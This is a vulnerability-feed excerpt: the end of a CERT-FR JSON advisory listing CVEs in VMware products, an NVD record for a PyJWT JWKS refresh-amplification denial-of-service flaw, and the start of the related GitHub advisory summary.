"url": "https://www.cve.org/CVERecord?id=CVE-2026-39832"
},
{
"name": "CVE-2026-39829",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-39829"
},
{
"name": "CVE-2026-56392",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-56392"
},
{
"name": "CVE-2026-65637",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-65637"
},
{
"name": "CVE-2025-15367",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-15367"
},
{
"name": "CVE-2026-58014",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-58014"
},
{
"name": "CVE-2024-45341",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-45341"
},
{
"name": "CVE-2026-13595",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-13595"
},
{
"name": "CVE-2026-6357",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6357"
},
{
"name": "CVE-2026-54515",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54515"
},
{
"name": "CVE-2026-63374",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-63374"
},
{
"name": "CVE-2026-13757",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-13757"
},
{
"name": "CVE-2026-15308",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-15308"
},
{
"name": "CVE-2026-27145",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-27145"
},
{
"name": "CVE-2026-68497",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-68497"
},
{
"name": "CVE-2026-39834",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-39834"
},
{
"name": "CVE-2026-63073",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-63073"
},
{
"name": "CVE-2022-40897",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-40897"
},
{
"name": "CVE-2026-46595",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-46595"
},
{
"name": "CVE-2026-41992",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-41992"
},
{
"name": "CVE-2026-24051",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-24051"
},
{
"name": "CVE-2026-102265",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-102265"
},
{
"name": "CVE-2026-7383",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-7383"
},
{
"name": "CVE-2026-39825",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-39825"
},
{
"name": "CVE-2026-39821",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-39821"
},
{
"name": "CVE-2026-27144",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-27144"
},
{
"name": "CVE-2026-4360",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-4360"
},
{
"name": "CVE-2026-58012",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-58012"
},
{
"name": "CVE-2026-56865",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-56865"
},
{
"name": "CVE-2026-32283",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-32283"
},
{
"name": "CVE-2025-46686",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-46686"
},
{
"name": "CVE-2025-61727",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-61727"
},
{
"name": "CVE-2026-11822",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-11822"
},
{
"name": "CVE-2025-22866",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-22866"
},
{
"name": "CVE-2026-59890",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59890"
},
{
"name": "CVE-2026-14164",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-14164"
},
{
"name": "CVE-2026-14456",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-14456"
},
{
"name": "CVE-2026-56860",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-56860"
},
{
"name": "CVE-2026-6368",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6368"
},
{
"name": "CVE-2026-1703",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-1703"
},
{
"name": "CVE-2026-14457",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-14457"
},
{
"name": "CVE-2026-15534",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-15534"
},
{
"name": "CVE-2026-41991",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-41991"
},
{
"name": "CVE-2026-39883",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-39883"
},
{
"name": "CVE-2026-6879",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6879"
},
{
"name": "CVE-2026-102269",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-102269"
},
{
"name": "CVE-2026-32281",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-32281"
},
{
"name": "CVE-2026-75596",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-75596"
},
{
"name": "CVE-2026-8763",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-8763"
},
{
"name": "CVE-2026-27142",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-27142"
},
{
"name": "CVE-2026-41989",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-41989"
},
{
"name": "CVE-2026-42504",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42504"
},
{
"name": "CVE-2026-56412",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-56412"
},
{
"name": "CVE-2026-69247",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-69247"
},
{
"name": "CVE-2025-47906",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-47906"
},
{
"name": "CVE-2026-48864",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-48864"
},
{
"name": "CVE-2026-65182",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-65182"
},
{
"name": "CVE-2026-56858",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-56858"
},
{
"name": "CVE-2026-12003",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-12003"
},
{
"name": "CVE-2026-53615",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-53615"
},
{
"name": "CVE-2026-15588",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-15588"
},
{
"name": "CVE-2026-59903",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59903"
},
{
"name": "CVE-2026-102268",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-102268"
},
{
"name": "CVE-2026-25589",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-25589"
},
{
"name": "CVE-2025-58188",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-58188"
},
{
"name": "CVE-2026-102267",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-102267"
},
{
"name": "CVE-2025-4674",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-4674"
},
{
"name": "CVE-2026-57433",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-57433"
},
{
"name": "CVE-2026-39820",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-39820"
},
{
"name": "CVE-2026-56854",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-56854"
},
{
"name": "CVE-2026-84303",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-84303"
},
{
"name": "CVE-2025-5278",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-5278"
},
{
"name": "CVE-2026-32952",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-32952"
},
{
"name": "CVE-2026-73180",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-73180"
},
{
"name": "CVE-2026-39819",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-39819"
},
{
"name": "CVE-2026-58010",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-58010"
},
{
"name": "CVE-2026-16118",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16118"
},
{
"name": "CVE-2026-42769",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42769"
},
{
"name": "CVE-2025-6141",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-6141"
},
{
"name": "CVE-2026-19672",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-19672"
},
{
"name": "CVE-2024-45336",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-45336"
},
{
"name": "CVE-2026-25588",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-25588"
},
{
"name": "CVE-2025-22868",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-22868"
},
{
"name": "CVE-2026-5435",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-5435"
},
{
"name": "CVE-2025-61724",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-61724"
},
{
"name": "CVE-2026-3219",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-3219"
},
{
"name": "CVE-2026-11824",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-11824"
},
{
"name": "CVE-2026-2303",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-2303"
},
{
"name": "CVE-2025-61732",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-61732"
},
{
"name": "CVE-2026-101917",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-101917"
},
{
"name": "CVE-2025-61723",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-61723"
},
{
"name": "CVE-2026-5928",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-5928"
},
{
"name": "CVE-2026-39831",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-39831"
},
{
"name": "CVE-2026-102273",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-102273"
},
{
"name": "CVE-2026-39828",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-39828"
},
{
"name": "CVE-2026-45447",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-45447"
},
{
"name": "CVE-2025-6170",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-6170"
},
{
"name": "CVE-2026-25679",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-25679"
},
{
"name": "CVE-2026-33811",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-33811"
},
{
"name": "CVE-2024-45337",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-45337"
},
{
"name": "CVE-2025-61725",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-61725"
},
{
"name": "CVE-2026-63075",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-63075"
},
{
"name": "CVE-2026-25680",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-25680"
},
{
"name": "CVE-2026-87910",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-87910"
},
{
"name": "CVE-2026-39835",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-39835"
},
{
"name": "CVE-2026-64847",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-64847"
},
{
"name": "CVE-2026-33815",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-33815"
},
{
"name": "CVE-2026-59884",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59884"
},
{
"name": "CVE-2026-4539",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-4539"
},
{
"name": "CVE-2026-12087",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-12087"
},
{
"name": "CVE-2025-15366",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-15366"
},
{
"name": "CVE-2026-32289",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-32289"
},
{
"name": "CVE-2026-56848",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-56848"
},
{
"name": "CVE-2026-45446",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-45446"
},
{
"name": "CVE-2026-91777",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-91777"
},
{
"name": "CVE-2026-58011",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-58011"
},
{
"name": "CVE-2026-63382",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-63382"
},
{
"name": "CVE-2025-22874",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-22874"
},
{
"name": "CVE-2026-84304",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-84304"
},
{
"name": "CVE-2026-56405",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-56405"
},
{
"name": "CVE-2026-63076",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-63076"
},
{
"name": "CVE-2026-32280",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-32280"
},
{
"name": "CVE-2025-47912",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-47912"
},
{
"name": "CVE-2026-58016",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-58016"
},
{
"name": "CVE-2026-63383",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-63383"
},
{
"name": "CVE-2024-2236",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-2236"
},
{
"name": "CVE-2026-6653",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6653"
},
{
"name": "CVE-2026-56859",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-56859"
},
{
"name": "CVE-2025-61728",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-61728"
},
{
"name": "CVE-2026-66422",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-66422"
},
{
"name": "CVE-2025-58186",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-58186"
},
{
"name": "CVE-2026-18798",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-18798"
},
{
"name": "CVE-2026-56853",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-56853"
},
{
"name": "CVE-2026-34183",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34183"
},
{
"name": "CVE-2025-8869",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-8869"
},
{
"name": "CVE-2025-58187",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-58187"
},
{
"name": "CVE-2026-77117",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-77117"
},
{
"name": "CVE-2026-13506",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-13506"
},
{
"name": "CVE-2026-42505",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42505"
},
{
"name": "CVE-2026-49844",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-49844"
},
{
"name": "CVE-2025-4673",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-4673"
},
{
"name": "CVE-2026-102266",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-102266"
},
{
"name": "CVE-2026-54370",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54370"
},
{
"name": "CVE-2025-22871",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-22871"
},
{
"name": "CVE-2026-29181",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-29181"
},
{
"name": "CVE-2026-39836",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-39836"
},
{
"name": "CVE-2026-6791",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6791"
},
{
"name": "CVE-2026-56408",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-56408"
},
{
"name": "CVE-2026-6477",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6477"
},
{
"name": "CVE-2026-42767",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42767"
},
{
"name": "CVE-2026-97689",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-97689"
},
{
"name": "CVE-2026-50219",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-50219"
},
{
"name": "CVE-2026-102270",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-102270"
},
{
"name": "CVE-2026-6238",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6238"
},
{
"name": "CVE-2026-0864",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-0864"
},
{
"name": "CVE-2026-63379",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-63379"
},
{
"name": "CVE-2026-56403",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-56403"
},
{
"name": "CVE-2026-17084",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-17084"
},
{
"name": "CVE-2026-39882",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-39882"
},
{
"name": "CVE-2025-58181",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-58181"
},
{
"name": "CVE-2026-59886",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59886"
},
{
"name": "CVE-2025-47914",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-47914"
},
{
"name": "CVE-2026-66299",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-66299"
},
{
"name": "CVE-2026-11979",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-11979"
},
{
"name": "CVE-2025-22869",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-22869"
},
{
"name": "CVE-2026-63385",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-63385"
},
{
"name": "CVE-2025-58189",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-58189"
},
{
"name": "CVE-2026-63387",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-63387"
},
{
"name": "CVE-2026-27140",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-27140"
},
{
"name": "CVE-2026-39817",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-39817"
},
{
"name": "CVE-2026-65905",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-65905"
},
{
"name": "CVE-2026-42499",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42499"
},
{
"name": "CVE-2026-42764",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42764"
},
{
"name": "CVE-2026-82049",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-82049"
},
{
"name": "CVE-2025-22870",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-22870"
},
{
"name": "CVE-2026-75803",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-75803"
},
{
"name": "CVE-2026-8643",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-8643"
},
{
"name": "CVE-2026-19487",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-19487"
},
{
"name": "CVE-2026-41889",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-41889"
},
{
"name": "CVE-2026-27139",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-27139"
},
{
"name": "CVE-2026-42501",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42501"
},
{
"name": "CVE-2026-101918",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-101918"
},
{
"name": "CVE-2026-42250",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42250"
},
{
"name": "CVE-2026-65927",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-65927"
},
{
"name": "CVE-2026-46598",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-46598"
},
{
"name": "CVE-2025-48924",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-48924"
},
{
"name": "CVE-2026-33810",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-33810"
},
{
"name": "CVE-2026-42768",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42768"
},
{
"name": "CVE-2026-15806",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-15806"
},
{
"name": "CVE-2026-57432",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-57432"
},
{
"name": "CVE-2026-32282",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-32282"
},
{
"name": "CVE-2026-63381",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-63381"
},
{
"name": "CVE-2026-11972",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-11972"
},
{
"name": "CVE-2026-58043",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-58043"
},
{
"name": "CVE-2025-68121",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-68121"
},
{
"name": "CVE-2026-12912",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-12912"
},
{
"name": "CVE-2026-18477",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-18477"
},
{
"name": "CVE-2025-11065",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-11065"
},
{
"name": "CVE-2026-46597",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-46597"
},
{
"name": "CVE-2026-102274",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-102274"
},
{
"name": "CVE-2025-61726",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-61726"
},
{
"name": "CVE-2026-5704",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-5704"
},
{
"name": "CVE-2026-34182",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34182"
},
{
"name": "CVE-2026-18503",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-18503"
},
{
"name": "CVE-2026-19542",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-19542"
},
{
"name": "CVE-2026-63388",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-63388"
},
{
"name": "CVE-2026-9547",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-9547"
},
{
"name": "CVE-2026-19032",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-19032"
},
{
"name": "CVE-2026-33816",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-33816"
},
{
"name": "CVE-2026-56132",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-56132"
},
{
"name": "CVE-2026-54874",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54874"
},
{
"name": "CVE-2026-18938",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-18938"
},
{
"name": "CVE-2026-54272",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54272"
},
{
"name": "CVE-2026-69192",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-69192"
},
{
"name": "CVE-2026-97688",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-97688"
},
{
"name": "CVE-2026-54371",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54371"
},
{
"name": "CVE-2023-5752",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-5752"
},
{
"name": "CVE-2026-39827",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-39827"
},
{
"name": "CVE-2026-102272",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-102272"
},
{
"name": "CVE-2025-22873",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-22873"
},
{
"name": "CVE-2025-47273",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-47273"
},
{
"name": "CVE-2026-8286",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-8286"
},
{
"name": "CVE-2026-39823",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-39823"
},
{
"name": "CVE-2025-61729",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-61729"
},
{
"name": "CVE-2026-83557",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-83557"
},
{
"name": "CVE-2024-6345",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-6345"
},
{
"name": "CVE-2026-63072",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-63072"
},
{
"name": "CVE-2026-77310",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-77310"
},
{
"name": "CVE-2026-103001",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-103001"
},
{
"name": "CVE-2026-59889",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59889"
},
{
"name": "CVE-2026-56864",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-56864"
}
],
"initial_release_date": "2026-10-02T00:00:00",
"last_revision_date": "2026-10-02T00:00:00",
"links": [],
"reference": "CERTFR-2026-AVI-1249",
"revisions": [
{
"description": "Version initiale",
"revision_date": "2026-10-02T00:00:00.000000"
}
],
"risks": [
{
"description": "Non sp\u00e9cifi\u00e9 par l\u0027\u00e9diteur"
}
],
"summary": "De multiples vuln\u00e9rabilit\u00e9s ont \u00e9t\u00e9 d\u00e9couvertes dans les produits VMware. Elles permettent \u00e0 un attaquant de provoquer un probl\u00e8me de s\u00e9curit\u00e9 non sp\u00e9cifi\u00e9 par l\u0027\u00e9diteur.",
"title": "Multiples vuln\u00e9rabilit\u00e9s dans les produits VMware",
"vendor_advisories": [
{
"published_at": "2026-10-01",
"title": "Bulletin de s\u00e9curit\u00e9 VMware 39113",
"url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39113"
},
{
"published_at": "2026-10-01",
"title": "Bulletin de s\u00e9curit\u00e9 VMware 39112",
"url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39112"
},
{
"published_at": "2026-10-01",
"title": "Bulletin de s\u00e9curit\u00e9 VMware 39110",
"url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39110"
},
{
"published_at": "2026-10-01",
"title": "Bulletin de s\u00e9curit\u00e9 VMware 39115",
"url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39115"
},
{
"published_at": "2026-10-01",
"title": "Bulletin de s\u00e9curit\u00e9 VMware 39114",
"url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39114"
},
{
"published_at": "2026-10-01",
"title": "Bulletin de s\u00e9curit\u00e9 VMware 39109",
"url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39109"
},
{
"published_at": "2026-10-01",
"title": "Bulletin de s\u00e9curit\u00e9 VMware DSA-2026-31",
"url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39108"
},
{
"published_at": "2026-10-01",
"title": "Bulletin de s\u00e9curit\u00e9 VMware 39111",
"url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39111"
}
]
}
FKIE_CVE-2026-101917
Vulnerability from fkie_nvd - Published: 2026-09-28 21:17 - Updated: 2026-09-30 19:38| Vendor | Product | Version |
|---|
{
"affected": [
{
"affectedData": [
{
"product": "pyjwt",
"vendor": "jpadilla",
"versions": [
{
"status": "affected",
"version": "\u003c 2.14.0"
}
]
}
],
"source": "security-advisories@github.com"
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "PyJWT is a Python implementation of JSON Web Token standards. Prior to 2.14.0, PyJWT get_signing_key_from_jwt is affected because unknown kid misses force refreshes without a negative cache or minimum refresh interval. This occurs when unauthenticated tokens repeatedly use the same unknown kid or varying kid values absent from the cached JWKS. As a result, each cache miss causes PyJWKClient to refresh the JWKS. Consequently, attacker traffic can amplify outbound requests to the configured JWKS endpoint. This issue is fixed in version 2.14.0."
}
],
"id": "CVE-2026-101917",
"lastModified": "2026-09-30T19:38:27.293",
"metrics": {
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "LOW",
"baseScore": 5.3,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 1.4,
"source": "security-advisories@github.com",
"type": "Secondary"
}
],
"ssvcV203": [
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"ssvcData": {
"id": "CVE-2026-101917",
"options": [
{
"exploitation": "poc"
},
{
"automatable": "yes"
},
{
"technicalImpact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-09-28T20:35:19.525335Z",
"version": "2.0.3"
}
}
]
},
"published": "2026-09-28T21:17:13.210",
"references": [
{
"source": "security-advisories@github.com",
"url": "https://github.com/jpadilla/pyjwt/commit/ba4853a75fb9676362da17f67d0f64bd18afd4e1"
},
{
"source": "security-advisories@github.com",
"url": "https://github.com/jpadilla/pyjwt/releases/tag/2.14.0"
},
{
"source": "security-advisories@github.com",
"url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-2gx3-rcp4-g85q"
},
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-2gx3-rcp4-g85q"
}
],
"sourceIdentifier": "security-advisories@github.com",
"vulnStatus": "Awaiting Analysis",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-770"
}
],
"source": "security-advisories@github.com",
"type": "Primary"
}
]
}
GHSA-2GX3-RCP4-G85Q
Vulnerability from github – Published: 2026-09-29 23:11 – Updated: 2026-09-29 23:11Summary CVE-2026-48524 (GHSA-fhv5-28vv-h8m8, "PyJWKClient unbounded JWKS endpoint requests via attacker-controlled kid values (DoS)") was fixed in 2.13.0 by stopping fetch_data() from clearing the cache on a fetch error. That closed one amplification path but did not add the mitigation the advisory's title implies: there is still no rate-limit, negative-cache, or minimum-refresh-interval for unknown kids.
At HEAD, get_signing_key(kid) (jwt/jwks_client.py:185-211), on any unknown kid, calls get_signing_keys(refresh=True), and refresh=True bypasses jwk_set_cache unconditionally and forces a fresh fetch_data(). The kid is read from the unverified token header (get_signing_key_from_jwt decodes with verify_signature=False), so no valid token and no authentication is required. lru_cache does not cache the raised exception, so even the same unknown kid repeated re-fetches on every call.
Affected pyjwt <= 2.13.0 (the latest release; the patched release for CVE-2026-48524). No fixed version yet.
